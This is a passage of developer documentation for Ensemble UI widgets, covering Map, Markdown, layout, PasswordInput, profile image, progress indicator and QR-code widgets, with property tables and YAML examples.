`indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# Map widget - -The Map widget enables the display of _location markers_ and _overlays_, providing a dynamic visual representation of geographic data. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) - - -## Basic Usage -Map requires a dimension to render. Most parent widget will provide a constraint so Map can stretch to fit. When the parent doesn't provide a size, e.g. Column on the vertical axis, you must provide the dimension on that axis. Below we use a FlexColumn which will consume all available vertical space, and in turn gives Map the complete screen height. - -```yaml -View: - onLoad: - invokeAPI: - name: getVenue - - body: - FlexColumn: - children: - - Map: - styles: - # zoom to fit all markers - autoZoom: true - # position the toolbar - toolbarAlignment: centerLeft - markers: - data: ${getVenue.body.location} - name: location - location: ${location.lat} ${location.lng} - -API: - getVenue: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: |- - // modifying the response to add latitute and longitude - response.body = { - "location": [{ - "lat": 37.82159, - "lng": -121.99996 - }] - }; - -``` - -## Using custom markers -Ensemble provides three different ways of customizing markers. You can use any Ensemble icons, use images via URLs or local asset, or define a custom widget to render as a marker. -### Using Ensemble icons (Native only) -Ensemble provides Material, FontAwesome, and Remix icons out of the box, and you can use these icons as markers. This is supported on Native platform only (Web is not currently supported). -The marker's size can be adjusted using the combination of icon's `size`, `iconPadding` (the circular shape around the icon), and `padding` (the space between the inner circular shape and the pin itself). -```yaml -View: - onLoad: - invokeAPI: - name: getVenue - - body: - Map: - styles: - autoZoom: true - autoZoomPadding: 100 - markers: - data: ${getVenue.body.location} - name: location - location: ${location.lat} ${location.lng} - marker: - icon: - name: home_5_line - library: remix - selectedMarker: - icon: - name: building_2_line - library: remix - backgroundColor: blue - - -API: - getVenue: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: |- - - response.body = { - "location": [{ - "lat": 37.82159, - "lng": -121.99996 - }, { - "lat": 37.773972, - "lng": -122.431297 - }] - }; - -``` -Screenshot - -### Using Images -You can use images as markers by providing a URL or local asset. To further fine-tune the marker dimension, use `resizedWidth` or `resizedHeight`, but avoid using both to maintain the aspect ratio. -```yaml -Map: - styles: - autoZoom: true - autoZoomPadding: 100 - markers: - data: ${getVenue.body.location} - name: location - location: ${location.lat} ${location.lng} - marker: - image: - source: - resizedWidth: 40 -``` - -### Using custom widget (Native only) -You can use a custom widget to render as a marker. This will only supported on Native platform. -```yaml -View: - onLoad: - invokeAPI: - name: getVenue - - body: - Map: - styles: - autoZoom: true - autoZoomPadding: 100 - markers: - data: ${getVenue.body.items} - name: item - location: ${item.lat} ${item.lng} - marker: - widget: - Text: - text: ${item.city} - styles: - padding: 5 10 - borderColor: blue - backgroundColor: white - borderRadius: 100 - textStyle: - color: black - - -API: - getVenue: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: |- - - response.body = { - "items": [{ - "lat": 37.82159, - "lng": -121.99996, - "city": "Danville" - }, { - "lat": 37.773972, - "lng": -122.431297, - "city": "San Francisco" - - }] - }; -``` -Screenshot - -## Properties - -| Property | Type | Description | -| :----------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| fixedMarker | boolean | Keeps the marker fixed at the center of the map while allowing users to move the map around it. This is useful for selecting a location on the map and get the precise coordinates when users move the map around. | -| draggableMarker | boolean | Allows users to drag the marker around the map. | -| styles | object | [See properties](#styles) | -| onCameraMove | action | Execute an Action when the map's bound has changed. The bound data is available using `event.data.bounds..`. | -| onMapCreated | action | Execute an Action when the map's initial state has been rendered. Note that this may not mean the location and markers (if any) are available yet. | -| markers | object | [See properties](#markers) | - -### styles - -| Property | Type | Description | -| :------------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| markerWidth | integer | The width of each marker. (default 60) | -| markerHeight | integer | The height of each marker. (default 30) | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| autoZoom | boolean | Automatically zoom the maps to show all the markers (and optionally the current location). Default True. | -| autoZoomPadding | integer | Adjusts the padding around map elements automatically, ensuring a visually balanced and optimized display within the Maps widget. | -| locationEnabled | boolean | Enables the use of location services, allowing the Maps widget to access and display the user's current location on the map. | -| includeCurrentLocationInAutoZoom | boolean | Adjusts the automatic zoom level of the map to include the user's current location within the visible area of the Maps widget. | -| showToolbar | boolean | Show the Map toolbar that contains some convenience controls. You can also turn each individual controls on or off. | -| showMapTypesButton | boolean | Toggle between the different map types. (default true) | -| showLocationButton | boolean | Show the button that animates to the user's location. (default true) | -| showZoomButtons | boolean | Applicable on Web only. Show the zoom in/out controls on the map. (default true on Web) | -| rotateEnabled | boolean | Enables the ability to rotate the map view within the Maps widget, allowing users to change the orientation for a customized viewing experience. | -| scrollEnabled | boolean | Allows users to scroll and pan the map within the Maps widget, providing interactive navigation and exploration of the map content. | -| tiltEnabled | boolean | Enables users to adjust the tilt or perspective of the map view for a dynamic and immersive experience. | -| zoomEnabled | boolean | Enables users to zoom in and out on the map within the Maps widget for closer or wider views. | -| toolbarMargin | integer/ string | The margin around the toolbar. (default 10 on all sides) | -| toolbarAlignment | string | How to align the toolbar within the map. (default bottom right). If both positioning (top/bottom/left/right) and alignment are used, positions will be applied first, then alignment within the available constraint. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| toolbarTop | integer | Offset the toolbar from the top edge of the map | -| toolbarBottom | integer | Offset the toolbar from the bottom edge of the map | -| toolbarLeft | integer | Offset the toolbar from the left edge of the map | -| toolbarRight | integer | Offset the toolbar from the right edge of the map | -| mapType | String | Allows users to select different map types `normal`, `satellite`, `terrain`, `hybrid` | -| initialCameraPosition | Object | Represents the initial camera position on the map. [see properties](#stylesinitialcameraposition) | -| markerOverlayMaxWidth | Integer | Specifies the maximum width of the marker overlay | -| markerOverlayMaxHeight | Integer | Sets the maximum height of the marker overlay | -| scrollableMarkerOverlay | Boolean | Determines if swiping left/right within the overlay will navigate to next/previous marker | -| dismissibleMarkerOverlay | Boolean | Enables swiping down to close the overlay | -| autoSelect | Boolean | Automatically selects a marker when the markers are updated | - -### markers - -| Property | Type | Description | -| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| data | String | Binds the marker list to the data | -| name | String | Gives a name to the marker | -| location | object | Specifies the geographic coordinates (latitude and longitude) for the Maps widget to display a specific location. [see properties](#markerslocation) | -| lat | Number | Latitude coordinate of the marker | -| lng | Number | Longitude coordinate of the marker | -| marker | object | [see properties](#markersmarker) | -| source | string | The marker's image asset (URL or local asset) | -| selectedMarker | object | [see properties](#selectedMarker) | -| source | string | The marker's image asset when selected (URL or local asset) | -| overlayWidget | Widget | The widget to render as an overlay over the maps. Use this to convey more detail info for each marker. | -| onMarkerTap | action | Action to execute when tapping on the marker | -| onMarkersUpdated | action | Action to execute when the markers have been updated and rendered | - -##### markers.location - -| Property | Type | Description | -| -------- | ------ | --------------------------- | -| lat | Number | The latitude of the marker | -| lng | Number | The longitude of the marker | - -##### markers.marker - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------- | -| source | string | The marker's image asset. This can come from URL or from local asset. | - -##### markers.selectedMarker - -| Property | Type | Description | -| :------- | :----- | :---------------------------------------------------------------------------------- | -| source | string | The marker's image asset when selected. This can come from URL or from local asset. | - -##### styles.initialCameraPosition - -| Property | Type | Description | -| -------- | ------- | -------------------- | -| lat | Number | Latitude coordinate | -| lng | Number | Longitude coordinate | -| zoom | Integer | Zoom level | - ---- - -# Markdown widget - -The Markdown Render Widget empowers you to effortlessly render Markdown text, transforming it into beautifully formatted and structured content for your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------- | -| text | string | Your text in markdown format | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | -| linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - -#### styles.linkStyle - -| Property | Type | Description | -| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| decoration | string | A linear decoration to draw near the text`none`,`lineThrough`,`underlines`,`overline` | - ---- - -# Multi-Child Layout widgets - -## Options for Multi-Child Layout widgets - -1. Column: - Ensemble's Column widget displays its children in a vertical array, similar to Flutter. - Use Column when you want to arrange widgets vertically. - The Column widget doesn't scroll. If you need scrolling functionality, consider using ListView. - If there's only one child, consider using Align or Center to position it. - -2. Flow: - Ensemble's Flow widget is designed to flow its children horizontally or vertically based on available space. - The Flow container is useful for creating dynamic layouts with elements that automatically wrap to the next line when they exceed the available width - -3. GridView - Ensemble's GridView widget is useful for creating a 2D array of widgets. - Use GridView when you need a grid layout. - -4. Flex: - Ensemble's Flex widget is similar to Flutter's Flex and is used to create flexible layouts. - Use Flex when you need - - Flexible arrangements of widgets. - - To switch between row and column layouts based on certain conditions, such as device screen size. - -5. Row: - Ensemble's Row widget arranges its children in a horizontal array. - Use Row when you want to arrange widgets horizontally. - Utilize mainAxis property to control the positioning of children along the main axis (horizontal). - Use crossAxis property to align children along the cross axis. - Employ expanded: true property for a child widget when you want it to take as much space as possible. - -6. ListView: - Ensemble's ListView widget is suitable for scrolling lists of widgets. - Use ListView when you need a scrollable list. - Implement pull-to-refresh functionality for updating the list content from an API. - - -## Examples: - -### 1. Column: -**Column Layout** -```yaml - Column: - styles: - gap: 16 - padding: 24 - children: - - Text: - text: Column lays out its children vertically. - - Column: - styles: - gap: 4 - children: - - Smile - - Beam - - Divider -``` - -### 2. Flow -**Flow with Simple Tags** -```yaml - Flow: - styles: - gap: 8 - lineGap: 8 - children: - - SimpleTag: - inputs: - label: Travel - - SimpleTag: - inputs: - label: Nature -``` - -**Flow with Bold Tags and Background Images** -```yaml - Flow: - styles: - gap: 8 - lineGap: 8 - children: - - BoldTag: - inputs: - label: Travel - background: https://.../flow_travel.png - - BoldTag: - inputs: - label: Nature - background: https://.../flow_nature.png -``` - -### 3. GridView: -**Grid View with response** -```yaml - GridView: - styles: - height: 400 - horizontalTileCount: 2 - itemHeight: 128 - item-template: - data: ${getPeople.body.results} - name: person - template: PersonCard -``` - -### 4. Flex: -**Flex Direction Switching** -```yaml - Flex: - styles: - direction: '${device.width > 400 ? "horizontal" : "vertical"}' - gap: 4 - children: - - Image: - source: https://images.unsplash.com/photo-1550684848-86a5d8727436 - styles: { width: 90, height: 90, borderRadius: 90, fit: cover } - - Image: - source: https://images.unsplash.com/photo-1550684848-fac1c5b4e853 - styles: { width: 90, height: 90, borderRadius: 90, fit: cover } - - Image: - source: https://images.unsplash.com/photo-1551651057-f3f83700a831 - styles: { width: 90, height: 90, borderRadius: 90, fit: cover } -``` - -### 5. Row: -**Row Layout** -```yaml - Row: - styles: - gap: 8 - children: - - Smile - - Beam - - Wink -``` - -**Main Axis Positioning** -```yaml - Row: - styles: - mainAxis: spaceBetween - backgroundColor: 0xFFCCDFE5 - padding: 4 - borderRadius: 4 - children: - - Smile - - Beam -``` -Similar examples for `mainAxis: spaceAround`, `mainAxis: center`, and `mainAxis: end` - -**Child Widget Expansion** -```yaml - Row: - styles: - gap: 8 - children: - - Button: - label: First button - styles: - expanded: true - - Button: - label: Second button -``` - -### 6. ListView: -**ListView** -```yaml - ListView: - id: listView - onPullToRefresh: - invokeAPI: - name: getPeople - onItemTap: - navigateScreen: - name: ListView - Detail Page - inputs: - doc_type: ${getPeople.body.users[this.selectedItemIndex]} - styles: { expanded: true } - item-template: - data: ${getPeople.body.users} - name: users - template: - MyRow: - inputs: - p: ${users} -``` - ---- - -# PasswordInput widget - -The PasswordInput Widget enables the rendering of secure password input fields, ensuring that user-entered passwords remain hidden and protected within your application for enhanced security and privacy. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) - -## Properties - -| Property | Type | Description | -| :-------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700) | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onFocusReceived | action | Execute an Ensemble action when the field receives focus | -| onFocusLost | action | Execute an Ensemble action when the field loses focus | -| styles | object | [See properties](#styles) | -| validator | object | [See properties](#validator) | -| onKeyPress | action | On every keystroke, call Ensemble's built-in functions or execute code | -| keyboardAction | string | Specify the action key on native device's soft keyboard | -| obscureToggle | boolean | enable the toggling between plain and obscure text. | -| obscureTextWidget | widget | Custom widget to replace the default visibility toggle icon for password fields. When provided, this widget will be used instead of the standard visibility icon to toggle between showing and hiding the text. | -| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | -| selectable | boolean | Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. | -| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | -| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| fontSize | integer | Sets the size of the text. | - -### validator - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| minLength | integer | The minimum number of characters | -| maxLength | integer | The maximum number of characters | -| regex | string | The Regular Expression the input will need to match | -| regexError | string | The customized error message to show when the input does not match the provided regex. | - -#### options for styles.variant - -| Option | Description | -| :-------- | :------------------------------------------------------------------------------------------------------------------- | -| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | -| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | - -### MaxLengthEnforcement - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | -| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | -| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | - ---- - -# Profile Image Widget - -The `ProfileImageWithIndicator` widget in Ensemble offers a convenient way to showcase user profile images along with customizable indicator labels. - -**Input Parameters** -Required: -1. `image`: URL of profile image to be displayed - -Optional: -1. `label`: Content within floating label -2. `labelPosition`: Position of the label, default is topRight. Possible values are topLeft, topCenter, topRight, centerLeft, center, centerRight, bottomLeft, bottomCenter, bottomRight -3. `imageSize`: Image size, default is 90 -4. `labelColor`: Color used for the label, default is white -5. `labelBackgroundColor`: Color used for the label background, default is blue - -By using these Input Parameters, you can effortlessly create various profile images tailored to your app's design. Below is an example of how to use the public widget `ensemble.ProfileImageWithIndicator`: -```yaml -- ensemble.ProfileImageWithIndicator: - inputs: - label: 4 - image: https://images.pexels.com/photos/733872/pexels-photo-733872.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2 - imageSize: 160 - labelSize: 40 - labelPosition: bottomRight - labelColor: blue - labelBackgroundColor: 0xFFDEDEDE -``` -Since this widget is globally available, you only need to specify the image input. The example above also showcases optional input parameters for further customization. Simply use `ensemble.ProfileImageWithIndicator` in your app to streamline the integration of profile images with indicator labels. - ---- - -# Progress Indicator - -The Progress Indicator Widget facilitates the rendering of visual progress indicators, providing users with visual feedback on the progress of tasks or operations within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) - -## Properties - -| Property | Type | Description | -| :------------------ | :------ | :------------------------------------------------------------------------- | -| display | string | | -| countdown | integer | Show the progress percentage based on the number of seconds specified here | -| onCountdownComplete | | Execute this Action when the countdown comes to 0 | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :-------------- | :------ | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| backgroundColor | | Background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC | -| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | -| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | -| color | | | - ---- - -# QRCodeScanner widget - -The QR-Code Scanner Widget provides a camera preview for scanning QR codes and returns the decoded data. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ykDZEs5NKh8WHFdZtM8A) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------- | -| formatsAllowed | array | Use formatsAllowed to specify which formats needs to be scanned. | -| initialCamera | string | Initialize either camera, back or front. `back` `front` | -| onInitialized | action | Execute an action once the QRCodeScanner is initialized | -| onPermissionSet | action | Execute an action with the status of camera permission. Get the status via ```event.data.status``` | -| onReceived | action | Execute an action when it scans and retrieved the data from QRCode. Get the data via ```event.data.data```, format ```event.data.format``` and bytes ```event.data.rawBytes``` | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| overlayColor | integer or string | The overlay color of the QR code scanner widget | -| cutOutBorderColor | integer or string | The border color of the cutOut area of the QRCodeScanner widget | -| overlayMargin | integer | The margin of the overlay of the QRCodeScanner widget | -| cutOutBorderWidth | integer | Thickness of the cutOut area border. | -| cutOutBorderLength | integer | Length of the cutOut area border. | -| cutOutBorderRadius | integer | The border radius of the cutOut area widget. | -| cutOutWidth | integer | The width of the cutOut area widget. | -| cutOutHeight | integer | The height of the cutOut area widget. | - -### Methods -| Function | Args | Description | -| ---| ---| --- | -|flipCamera() | | It flips the camera from back to front or front to back | -|toggleFlash() | | It turns the flash light ON/OFF | -|pauseCamera() | | It pauses the camera in the QRCodeScanner widget | -|resumeCamera() | | It resumes the camera in the QRCodeScanner widget | - -### Box Styles (Inherited) -This widget also inherits these styles - -[box](_snippets/box-styles.md ':include') - -### Base Styles (Inherited) -This widget also inherits these styles - -[base](_snippets/base-styles.md ':include') - ---- - -# QR-Code widget - -The QR-Code Render Widget empowers you to effortlessly generate and render QR codes within your application, enabling convenient scanning and information exchange for users. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) - -## Properties - -| Property | Type | Description | -| 